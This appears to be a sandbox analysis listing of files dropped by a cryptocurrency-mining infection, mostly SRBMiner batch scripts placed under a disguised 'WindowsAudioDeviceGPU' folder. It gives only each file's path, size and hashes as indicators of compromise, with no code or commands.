- SHA256 61b545c17bd70284e0796befe670e090958e0012bbd0ce4ec8fb567590c8209a
- MD5 82072241328dfe380c91529ff6e810a6
- SHA1 24bbdfc6893958ce06fc76684baf41ad1cf4ab0c
- SHA512 92dcae3001a33935098d9d54f4e0369350956ea48f120d479ccac2872470d127f23606171cab7a5e3184b90db6d8852adccb29dd8eeb470e6a484988c7c4173e
- TLSH T1A0C08CC80A076B29825A727B30C131A06C928007C3A1AA387B45802ACD8F450DBBAA2E
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ironfish-and-decred.bat
- Size 615B
- SHA256 87231abfdb44eba6907699d2f588f35be8a9e220efb8d6e4d34efb6794077069
- MD5 e400d14868f5c7ff295972e0f2925060
- SHA1 4cc6c45016d4245ee51d76a12cacbbdd3cce7284
- SHA512 a0f8d0f5f2cf10b7ca0810cb5998589c927e9935d7c71f8cd6ec458445ef0e131f2aad1d697ada1b7e7d32d66bb7063736a6a27d195c26e7e777ec8f82aa4038
- TLSH T102F0DD4BDB1D470AC074F27638499B1524C84D30F7F5D8A426D4956A1F83197FFF1528
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ironfish-and-qubit.bat
- Size 382B
- SHA256 f67730f99df81c36a774108bac38cae941a256ad2e3e36fb076abdd15347e58c
- MD5 cf53fb8af08a5af69ff0fd3776be699c
- SHA1 e2108e0a5ea1ff616e4e0ecf54fac46e99e3a027
- SHA512 0ea995ca17f41d28868bdb32d56ef0dc2dbafcdaddcee2f0cb8b1b947e03a09b9dec1eb300a1697c281fee319023d2f5ff535a10f3685f0b6e77b411f67914dd
- TLSH T129E02B8B9B1A860FC038B2753C56DA2834CA4830B7F6D0545ED8D41A1AC7997AFE4918
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ironfish.bat
- Size 312B
- SHA256 f7311374966482a5492eaef24e375ce875a5b9a62adb87b3361d81a500f7068a
- MD5 491dd94337b7c30129798b219ca167da
- SHA1 acabe55a1413ba98553660c77a42d0a3bb8080d3
- SHA512 24374780bc84826a5563a1406603752bf0e9e4abb5d93d892504cab863ee0c2b1260bce256ab6fc1fde86563f89dfb1eb2732e9332fb945b3888eda207c65e06
- TLSH T121E0268BD61D460FC138F2763C16CE1834CA8C30BBA1D154AAD8841A0EC36976EA452D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-junocash.bat
- Size 261B
- SHA256 6fb432f83fe4b4aac3fb778b95716dfb27c6d96aa458d84a98d68dcba5b2735f
- MD5 7dfb9babe5b24b2b035e4706987d8bf7
- SHA1 59fe1274a25d0f6ff40fb7325f0c1fbb58886e25
- SHA512 6bbb7a080c6a6c7d9fcb141c27e4fd2a4c4fad726da40556ba83783492689d675ed445c52dc5b72e802645bfa606ff6fb95bd0056e955e40c6165c3b8a7b3464
- TLSH T186D02B9B175113BDC444131235061A5114A96382E3B20EA5766596325A360D5BBF364C
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-kiiro.bat
- Size 302B
- SHA256 e02a2cb2a59519682cf62bcd218a45bd14fdc41d07a90e6fa25b2185796eae58
- MD5 6af4bbebc5556e73cb0dd35f61ad5ac4
- SHA1 07dedaa31bdb00f6ca9376b4dade140377750bb4
- SHA512 87bc556392d33d037881de1846ace6f26efa22604fc6ea249111a17fb720df01dd33f1ec6eb87a1e57baf00c760b7f838cc96b6436900e9c130a18f0f0f0c28e
- TLSH T1B0E07D8B9E1E860FC13CF1717C13891428C68C32B3F2E0606FD850271EC2A576DA5529
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-kyla.bat
- Size 129B
- SHA256 189d81698d9bca33ff9809724555f71c1d5b9d1069cd7cac110d4867e798414d
- MD5 715be94eb5c29e923a86b1151759c6d9
- SHA1 0e04dee69eb98253c87c31b340edc6989008d806
- SHA512 b632ce45ce84191ed46ae984fc26dc0affbd68c6ded791068b0d9407ffdab0a30225f080fedf6c2db2243510f3c5d2e2ed20e4d4eb4d5df5ab46ad9c5f3d0ae7
- TLSH T11FB02B060B51C379C12923737443417494C34103C20AE9E02B50C030CD085A0DFF50EE
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-litecoincash.bat
- Size 152B
- SHA256 bfe59892220d607df989303af6ec7ec5db36c2db22ae31eb0b02b0cfd41de038
- MD5 d9922a33540f6d6bc66f44658a38d82d
- SHA1 920cba48d9d4a4a1f9bca3c8e9e90b4569bf7ca2
- SHA512 d18e1a8525cc6b837ecbdc5b80f0e65ccb5523eaa86feb7b6d59ef5cd1014590132a2d1795349d00381ba0878845a3760e4a68fb958421c75b857185d991c9ba
- TLSH T1D0C080050705D754C35E6651A654117779D6811AC1239F743754C5307C5EC5447D079F
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-meowcoin.bat
- Size 322B
- SHA256 8375606357bf8b690903d19b6955b7be4cd822592486dfdafd69e3957449e3a7
- MD5 a2ef0ee07c5205711190e38543dc37a6
- SHA1 4b4a075cadc8e330149880808d14d1e234d96314
- SHA512 8169ecc79086b69c3036b28a0a055486e67bc15e160f26573d8d75519a2bb4f9d25b03231235e4f59db5810fa42a001b8526b7e36d64cd67d11fdd17caada60a
- TLSH T124E0268BEE2E160FD23CF5717C16881428C2C830B3F5E0206FEC95264E867976D68929
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-microbitcoin.bat
- Size 135B
- SHA256 0529ab34fa648bb3da06af7977a31a2e0927603dc944006d9ebc4c91bb3448fd
- MD5 17cda13b47b717a45a738535acc032ed
- SHA1 42f41c39854fc3083d24c0e0a9a04c27af872727
- SHA512 4d040ceb88d1cab8ea19cf79f062c1b8ac55f57e9327b9d184939c90d2a2bd01bcf5220b4942fdd985380fa5a0cf84c8813091fcb166ddbe054d5cf012687d51
- TLSH T15FC02B0506067724C37673B3300710B018D3108AC3917B767FC4C1228E898408FA643E
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-minersworldcoin.bat
- Size 129B
- SHA256 22b0e2feb825c17391355ab67312a048664b52d1e70bc95cb880f19fb07af249
- MD5 f643530297554b33c436ca9911ae47de
- SHA1 93afec34d266d61579edf6ec66389ddfacab04e3
- SHA512 27d09f971d3cedb03c6715879f297e52b57ee10ec7b876b7342b2731c75a00c91116d35a51fa1131907f9953586f399cce44f3a1091e3825bf866cac5ae8cb1a
- TLSH T10DB02B440B46776483267B76600130F458A31046C362AA30BF4084218E288408FBA83E
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-monero.bat
- Size 137B
- SHA256 fc5d536b8ec665886ad24df1222ff48dabda7731ca1068be956c7e799a704a4e
- MD5 47083b09fb7ed277fa237b4943173609
- SHA1 40bb0c62346141dcc65c2770b7733589df9243a8
- SHA512 b50ff5327e8c03ad9f82cd6cd80122941e919ed4318cf07622a38ed29a005d3d197d036cd2aaf3921803027f9cb4221cf31b41285062ba741860cc6efa6861cf
- TLSH T124C08C460B23ABBC82D523733482386D98972002C616DA907F88E424A97D880BB8145D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-oggpow.bat
- Size 294B
- SHA256 e951986351b610fa2e9d3e3a36e36130c9b2f16d4180fc464f9da623fb03547b
- MD5 52dddf03051a6401f1cb1db0991cdcde
- SHA1 708dfc18e5a4db2bf42c264c768c90a766d3a766
- SHA512 fccd96d39e6e20affb3931fb88d69bc7b8581a9eaa1318a8b7190b6cc67c8db626d1bc644421e91d23a0eeef78608a760d2cb2bd5b304738ab04161aa0cf52f7
- TLSH T186E07D8BDA1DC90FC138F1B13C2B891438C28C30B3F2D4004DD440260EC6A431D6442D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-parallax-and-decred.bat
- Size 228B
- SHA256 2c5ea7d664b74468c528f9f72dd931926e6b2bdd27dbed98f00fbb086d39de67
- MD5 5137e0114f390f89be6e64c3a43bde8f
- SHA1 30fa92c8f5a20dd8bef2bd3c27e368b439062104
- SHA512 a78ecde44ebc7e36186e05041bf89a87d77f9cc0cb635552b622edfeb4c0d81aca979cdf5599b7e9f1013ecaf4ee86a7e04a44f0538669a134b562cf6a82aaf8
- TLSH T188D0A71D1B29D65851B93337718C50A158998846C31AE6FA7B80C12A6E0C590EF916AA
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-parallax-and-qubit.bat
- Size 200B
- SHA256 22414c8ae2f1ed25390492a371ceaab296beb132edcb70b0c7ec863c6b9f29ec
- MD5 4dfccc1d730efd7a16089a6ff34057e1
- SHA1 92461293db60ac5b2a809173c68dee2ec057d138
- SHA512 8a50c14d8877f20971a3210a4fd8870372c33b337b3bf672367aeecf73872453e037171a5545ab34f883e50b849a96171b36e8938ac5edf9f9ea93c031b5711b
- TLSH T1F1D0231D0B22E3EC917B3335314D5070588E800AC31BD6395F80E126290CC90DFD0A19
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-parallax.bat
- Size 130B
- SHA256 d812857fed82de6c3b9b7499c183de65463b27f6f9885b24bbfb532828e06f7b
- MD5 f1c835e26b5b07d226ed8d79b39bc650
- SHA1 398f42a184bb40cd73ca17d84b793f46cc34c5da
- SHA512 3f730808ff55882b11b227844120ba0d642fe786ac35b94e96a18d0fe8a8142b16e9c8b208ebe654043ee17a655da048f435683d7e0177038f7732e33ff2bf7f
- TLSH T1DAC02B190721F3BCD23A2376304D606058CEC047C309D7256E4092367E0C9408F5051D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-parano1d.bat
- Size 128B
- SHA256 79f685b8074022e0a077f55fdf19976eda824567213af410abdf1291ca9227c3
- MD5 aaf168f5ce6f67cbc5bb841c1b2ef737
- SHA1 b6ff9b6e4e23c48b2b74a2b93b130505cb4a6a20
- SHA512 a5bfb7791094521defe12d2816171a4f236390683db971c977d2922b348e789b82789b81f669faa481dbab573d8c58d0c263bff1654706f9d1c9feadfffc8bab
- TLSH T1DEB02B0C061B56B4C01C6223705A106438824052C326D9943EA4D0208C19AC0AFE019E
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-pcoin.bat
- Size 122B
- SHA256 a64819f88c12fba1adaf12886eb4aab1f64d2c9b6e55ce3dfb12a00a5ab9ce98
- MD5 d5bfcdc453f1ef43d7bb37b218a0307e
- SHA1 92d5d614839210b3d367421e4c2c07c3aa637b47
- SHA512 fcdd3d27b04321b1611477f63c948b57140ff4dc6b651c0029394c3cdd8bb3282cfb3781f6bfea9ec90a032396590fe63d4d2b97bcf4190c7f02384c4a3676e2
- TLSH T1D8B02B55024263BC8166336331C7016058C21042D3079F202B84C430DC3D8404F8181D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-pearl.bat
- Size 212B
- SHA256 854575c7b0778898c7344b044c8aa6005cf030ff5225588f26bfc93663b724ea
- MD5 310d50ce266b7f9dc32a3f0eb2d64acf
- SHA1 9517ed7e0f87235b3628d5b1e3353e5f10a4663e
- SHA512 ca9d1d3100be718b009caa11cacca1bf06d3a84a93d092119c01e51d11767ae158ce22a8cd90d998e9903fd872b0b70966d3b562be2e029caa6bda986d424d0b
- TLSH T1BAD0A7054E19EBADD3A722312446B65555ED440BC387DBF97B414050F88FCC86B8015E
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-phicoin.bat
- Size 131B
- SHA256 8418555089e98327fcea0f192edf91ec1ca786512f2a528ef8800ef9ac6232b6
- MD5 e9882a5c76a80c7334c51368552b4c3c
- SHA1 0efc0e797c178930edcad09b1eacc2fdbf772989
- SHA512 68dfe7e50e9f4f01332679dc516643861644cca0d2796edb7918b6304fbaafbc06efa4c04576b913443f959ad3689fee40fb1151a2bef2fdb3abf3dd510dff34
- TLSH T1A9C02B0DCB155768C1DD3232208F10F150C69346C3019B781B9083338E1DB88AFD026C
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-quai.bat
- Size 313B
- SHA256 b7d7b010964fbabf9758c0a6a7f38f409e96a8f7e336eddb6f2eb8481d9e48f3
- MD5 af3190cef29b70511809c535239734c0
- SHA1 0183e9c3b7e270847e3d2207c94f2a6d739d0bea
- SHA512 845d331ba8f63787c2ac930fd2a3c3193fdf8da969429e1fdc58cb957ece0ac6c1e099ec0062318c821eb61afc10a2dfb93ea792e3ae22b3b459f691872a14b3
- TLSH T1F6E0268BD619064FC538F67E3C62C61434C98C30B7F2D1486BE4442B0DC665B2EA412D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-quantus.bat
- Size 135B
- SHA256 1c6243289c5869b1acc54888db68a0a748d912cfe25d25082a86a9886af23a64
- MD5 9b1b54ce89684a7fbdfa949c44f69839
- SHA1 0f476169a8d557076a9fbe67c283d8b7bd48e237
- SHA512 7761bcb4161a65c5f8af88eb7f76fce4ef8c1c81cbe5ef61bb1f1783afc96b29ccc803cd74f58c6d9dc14f10e4b5695cc4b1e9b67a31d3a816bb5a65ca27fcf1
- TLSH T1C8C08C0606514658813C223B2047B374648E6142C3839AEE6BD08421495A428CFD402C
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-qubit.bat
- Size 292B
- SHA256 01523098e7fe92539707deee689eff46f88cf8d263ed0f63658797f638530637
- MD5 4cf68cc5d5e8da76114b4015a9ea8c4c
- SHA1 298448b607fd0370a3680f09bf6b19f93c3be8e0
- SHA512 f1c8305393a3060e5c71165f79eea68ab79a14ae3efd587f0a9130bb62e829955a7405eaca8feaed5daf3ee9fe99639a016eb03a95bfdac2615b49e3588eb266
- TLSH T163E0CD8BD61A450FD539F5757C27841438C68C3177F6E0405DE8D4160EC5A976EA4529
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-raven.bat
- Size 306B
- SHA256 23f56d3607fe4deac72eabe417b4f3797a791944cb3474ef80339daa02815a92
- MD5 7d9caf2b995debdaccdaba81bbf8f500
- SHA1 f420f416a31534a98f3a87ecbf98d834d5ae23ff
- SHA512 009057b9da87077eca61109c7b83d53bf7b1485fd29ad362ac5aa33bfa90c514028e95077fb18c15a1cf4d897b86cb63d9cf6a514830a3a7a25c2b8892914c92
- TLSH T1D1E0268B961E060FC638F6763C62861024C98C70B3E2D0445AD884160DC6A477FA402D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-scash.bat
- Size 137B
- SHA256 38c61072122441c9996741778a269a6beb73f4cd8c3cc0d874676ebaa0688ac1
- MD5 85af519b2f5de21a65510854fd23ae67
- SHA1 9ccf6e4aa285a463656ce87b0ef0d34ed69fc25a
- SHA512 26f5d5375b1912d21c9b24537c688d97856c5a6b4a13f803beed85161a63f72647aa1e17a5683e8134edd6cb97593e0a55a8774e9863f237876f5f13c87939ff
- TLSH T107C08C041B2BA31C81692332A08A10B4988A600AC212AA222FC5D9208F288109B944AE
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-vertcoin.bat
- Size 306B
- SHA256 290baaa87cb0d1defc520049cd4eb3b9d8755b4ec78f70b26a94d7820e93b6e5
- MD5 39c0c8c0c22d2747fdeb3f98a3e12d7d
- SHA1 d475816709ccf26d89a562eaae5e71d6794ac2c4
- SHA512 3e611861b372045bdcbebdba55196bd58fd8ab07e9c6dd76bae920c4be10855f4193c94e6653d6d79495baff110ab432544c53fb749707df2695c52e8a901ce7
- TLSH T1EEE07D8BD719860FC538F1B63C23C81538C58C7073E5E0806EE440150ECAE536D7442D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-verus.bat
- Size 143B
- SHA256 9135a3f44d11f9ac39cf3fb71e9aaa6f41b6202077b41803c7b876f279d35b02
- MD5 0a1ceaa093c47a0ad5ce7e81f32e645a
- SHA1 2cdccfd4fba8eb4bad03f3303ce9ecf6f169f336
- SHA512 b744ba33e441126a1d4e2d75cd7d5aaf64191a52721d6967f0abf907df0923f8d4952e0c5f31bb6ac9377305eb5178e8a41dea12b5621d5e9bd016756c41544d
- TLSH T159C08C040B13B75C83496322204AA168759A0042CB269998BF60803089095008FA46EA
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-xelis.bat
- Size 321B
- SHA256 faa42060bf8356712bda3589a209e53902081c8abe5eb07c44bc8d38ca14729e
- MD5 3e7069f046f879396221aaaf593160a5
- SHA1 f7ea79113bc8ff57fa78dfdff6c5849bb35736d0
- SHA512 93608d2be54951010a18259b957db988cc9423aade336e3d2aaf148fd9b4b093aee78c7d50fe7af1f1e92d27d9e9c7e39f95cbf8cdc2361be6aed029bbbac0cb
- TLSH T107E0269F961A490FC138F0B63C339A1034CA8C3073F6D4542DD898A50EC6F972F6812E
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-xna.bat
- Size 304B
- SHA256 735fa474212b035cae0731204e0b07de51794f25ab4d81d90a5025adfb2c4922
- MD5 a519cb72227860d00bd5c7ec5fdc03fd
- SHA1 69cd6d4efa4512004a32175127e9ea0cc92f4bf0
- SHA512 dd877bc265c5e1fb98bec2f900b35eb9f856c3e062a06a80ee0d91eceba046de7e6fd2590440863180e2591260a4e4d28e817266171c539d13df357334e84ae2
- TLSH T1BAE0CD8B961D460FC538F5B63C56C71574C98C30B3F3E0585ED444550DC6B57AFA852D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-yespowertide.bat
- Size 129B
- SHA256 a4445e8b8c5649344ce191259ef685888cf2028ffed655676b6ec344ddea70fb
- MD5 e305fda036e5483588b7a48cbe052e55
- SHA1 55c790404e2156849aa1a87e87431ae3057c482c
- SHA512 fd69ea7151f8f097daaaedf112a6549e8d42b778322b2d82cd6356b245cb268f319847794576bdaa28ba4b3eaf5388aee6925c1f9b76cc885b7cd468e2ad71a3
- TLSH T12AB02B040706673493562273208230F1D8931002C3517F32BF8185218F0C4505FEA4AE
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-zano.bat
- Size 302B
- SHA256 d9a27e06b0d71be39f2eab9eb5e6bebfa823352fe0b5428c17576537ffc2c9cd
- MD5 94dce3d72a40d646f83fd5a49155bdef
- SHA1 2f1047b891a77b446f61838bf22d5f7153a41236
- SHA512 53cfbd874164365173b6d80ad298df74f72a777e2dba0c2d9252feef053095c29c14548ec1bbed1b50d06669c04b3e3bad85104994d11aa4e9c8144e79fcd227
- TLSH T188E0268ADA09420FC538F5712C23891038C68C31B3E1E1405AD440262DCAA872E64929
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-zerqavon.bat
- Size 132B
- SHA256 67a8652211df908faa48a8f140a094fd119f7bc64ae2c65bda06bc0999f5ed2c
- MD5 2b67e96667f1aed8d86d794b2a91153f
- SHA1 4a940bcdf6c89e7074c287b87b717bd21dcb61fe
- SHA512 e8b59c306745c05a3a3745f9adb2f6dadd017590ac362b1c8094444807ea1cdb92130cdd417f2ec1db02c8f84d515fe995f47b7d0de7ed9464bef94b7d54b7c2
- TLSH T1C6C02B091745672C81CA232230C200A0A483E4E3C312AE527F80D620BD3C400DF8055E
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\drivers_pack.zip
- Size 27.5MB
- SHA256 cbfc6fa4daf22641e0f845922f8fbccff7ff1dc144af7316061bca06b76cfb1f
- MD5 ff5f70ca61872ab350af3b49ceb028cb
- SHA1 01030af65f373f2d0d7b7a4cc3474912e3d642c1
- SHA512 77f514c50884dc5280398dd6136235f4bf8ee41366f941fa21017c36a8944b198e111bd49b75454b04b3aca3ce43db1f90bef0d2837c3009f2fa62bc9921ef60
- SSDEEP 786432:LnbUkfmlFfIqz9M+/Z8ZzI+8GPeUgjl6CNKUEhg:TbzMFIo9M+/Z+7nSl6aK+
- TLSH T1C45733F063BAF267D409AA4E0CBC86E56D153AF20795FC083891CBE65DCB588E7D4246
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\hide.vbs
- Size 107B
- SHA256 702d2f0dc13d6891971b14f1e42d6d78049d2c75b61c802dfe396e21f46f0624
- MD5 d10d8f7f86133be5d39b9fe778809579
- SHA1 a5ceddf5cfacf95d206d7081e8ed342ed2ec1a36
- SHA512 05557c00e06e9841edcc3cbe7f71c4ac6a9c15086cb8076fc8aa53086e3091cc0570d92bb368cd4b9aea5d932e56e0762985a554a5bc291dbb4191d97700802e
- TLSH T18BB01225741D995552A340D017769A0CC7C4C8686658832EC398891FA56BDD01115142
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\start.bat
- Size 558B
- SHA256 46009b747fcc2b3dd84c2f395c087d7a53d513a45496048e4bb48cf7a9c2628e
- MD5 ace0077b48f2e54f52184ce59bee5306
- SHA1 dba328316e24bf047167c1c13ade96d45b086d1a
- SHA512 076193661f87c8b5a75acee000ca80ad34b99cebf1a68c025ace678d1c59e76df949b7fe684500f37903822cc7326215af8ca3a3e99926ed0469303e081dc28b
- TLSH T13DF0E19734386BE1D0260EA013AF7340E35DC91B4528D6DDA099D137B4DBC818CCB2C4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\89986B561565BD40CD252D2331D4559C
- Size 310B
- SHA256 aafcc6d8a455a7dce3e5e0e74b62ce43b25cdc9e2f721cca82eb36e7950a0e5e
- MD5 fc9db96133e97a4289f65ce8f66944f9
- SHA1 40fc25b677d289c1f64c83275281a8222aeebd5e
- SHA512 05fbdd6a0549dc2a3276f0ad8843149f0e7292a898100f0757667bc09c54045b25b0dafe3ef1a9a6c6088cc9f16baca14c5cc6d124cd5275b825f7c69d829905
- TLSH T15AE072A0B3BA7A800BB4D086B9A5C89B2CFC84C11A0FB0020688CBB90083B89D7805CD
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
- Size 1KB
- SHA256 791735e52af30a1c6a750df3837784a34cfe763332e5b45acfd731ddaa159b83
- MD5 937eade2963d309f04ad7c807ba17156
- SHA1 b183c87c76481b1e153a6bdfdc71945a59542a84
- SHA512 5760b7dcfdcb1f5cd481e3d3c183b9c21996542896c602a0bdb665420693d3c67d3cacf98a2e18e437e6f7abf9263e0a18501930e02dabf2d748f749351820c8
- TLSH T1FB31C14EA2103067D946BF72D9CF7E83CDB1324AB7CAC46B18445E4229AAFC25F840C5
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
- Size 529B
- SHA256 39c727d70b8bdf5fc324233d0823555eb66ce846119609a22d1cebedbc3cf80c
- MD5 f0102d5ebee72932834506783a39ffbf
- SHA1 d6bf07be7cc02a713e0f8f94c124da8a15a016db
- SHA512 621caa36ba48c567a850166b85b65474e96f860eca78fd1d3967e017f89a2c7919c6e6a21fef38136a5ae5ecfaade5b686be7476ba95253bfd023f71c0ce78a5
- TLSH T138F0C90C80182262CC04FF91CFD6AC93EC3A33427AD492031B444A420882F855FC16E9
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\89986B561565BD40CD252D2331D4559C
- Size 192B
- SHA256 a641ee7151995ec7e6df1c7bbce67892975457f1951dfa8c0c8e2f1425c1fa65
- MD5 a12760c8d8fcc05c7b2c4207ff9243a1
- SHA1 73945101931e80b9662c0a07cd84e352a158f3af
- SHA512 7cedda023eea9bcc023f399a87a63bafe52011a979c4492c52c0c75fd3d1c4e43806ce20925e8e110b96898ac910603115892a2871fce1bd17073c4564832904
- TLSH T1B5C08C0C332C2208F230013D08D923042BBAF14ACAB1831E5FB8027A3008AC06C31D02
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
- Size 174B
- SHA256 258659886b7da4455db1c220f3b47e817f735f223563c62ec5ea38440cdc2ead
- MD5 a764e8c29744121d66599f825d0e06c9
- SHA1 707e983ba5daa748eb299861bff31bb9bc4354ed
- SHA512 61aa9e8cd19436d76446bbbec8317a19d84dd064264ed9dcb42c9a8fe709a1997799cdd3373f2f160b6eba97b7147da8141052a3597a6dea715dc5214699cc59
- TLSH T16DC02B403734030DF434023F044101104BF7D514CE8643008F701017541C90398B3E05
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
- Size 170B
- SHA256 8580d587fb6c17de165ff2bc0645245e1f259739c2d89630557551d4c5648270
- MD5 1eac6fe619c98606a337a990873662ab
- SHA1 681ddb3900d57f84118af8bc249d68d03771257c
- SHA512 a638d22df294edd100fc4b7060bb6e74f938fa4ee3ac7b6ba9ac787c9df187de9f928aefe69f1817877e2b8276349da394efb86834b96c7f48dce0d391d4b85c
- TLSH T15DC09BA47366815BF1A5013F0DE5571597F68254F643830116745696475CB910876D41
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MpCmdRun.log
- Size 2KB
- SHA256 090a201b98d16eb284885d710f7ec5c960a147c9f1d9821061e0b1d5d0ad0228
- MD5 7286de531240a9b35efb7295140338df
- SHA1 2467c0d134a17c12eeba76db3eed785476d8f0bb
- SHA512 d0990f7bf50a426fbeac5c907731b2818b917372b6e780fdd17bb3475cbd07abe350a98bfe8fa6eaef4778be769a5805872936b6a2bee6b81b319cd6b55d7f9d
- TLSH T182519C0367E80648F5F26B92A9F34132D637BD5158789E8E28C4825D08FDA44CC68FB7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_faa4fz1t.okn.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH